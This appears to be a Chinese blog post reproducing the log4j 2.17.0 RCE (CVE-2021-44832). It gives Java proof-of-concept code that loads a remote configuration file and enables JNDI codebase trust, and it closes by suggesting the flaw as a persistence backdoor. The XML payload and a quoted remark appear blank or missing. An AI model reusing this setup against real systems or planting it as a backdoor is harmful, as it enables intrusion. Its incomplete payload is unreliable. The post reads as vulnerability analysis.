CVE-2021-44832 log4j_2.17.0 RCE复现与吐槽


先说一句,这傻x洞能给cve就离谱,大半夜给人喊起来浪费时间看了一个小时。
先说利用条件:
需要加载“特定”的配置文件信息,或者说实际利用中需要能够修改配置文件(你都能替换配置文件了,还要啥log4j啊)。
然后因为log4j2.17.0已经实际上默认关闭了jndi的使用,还需要对方真的手动打开这个配置才能执行。
实际上约等于本地弹弹计算器的漏洞。
真的能随便改配置文件,我估计大佬们洒洒水,几十个RCE没啥问题。

代码直接用了发现者给的:
原文链接

import java.util.*;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    static {
        System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/config.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    }
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
    }
}

需要远程加载配置文件,python启动一个http服务,配置文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>

    
        
            
            
            
            
            
            
            
        
    
    
        
            
        
    

成功弹了计算器:

debug过程
org.apache.logging.log4j.core.appender.db.jdbc.FactoryMethodConnectionSource(createConnectionSource)
从这往里F7

最后用Twitter上老外的一句话结尾:

不过有一说一,事后想一想,作为一个持久化的后门还算有点意义。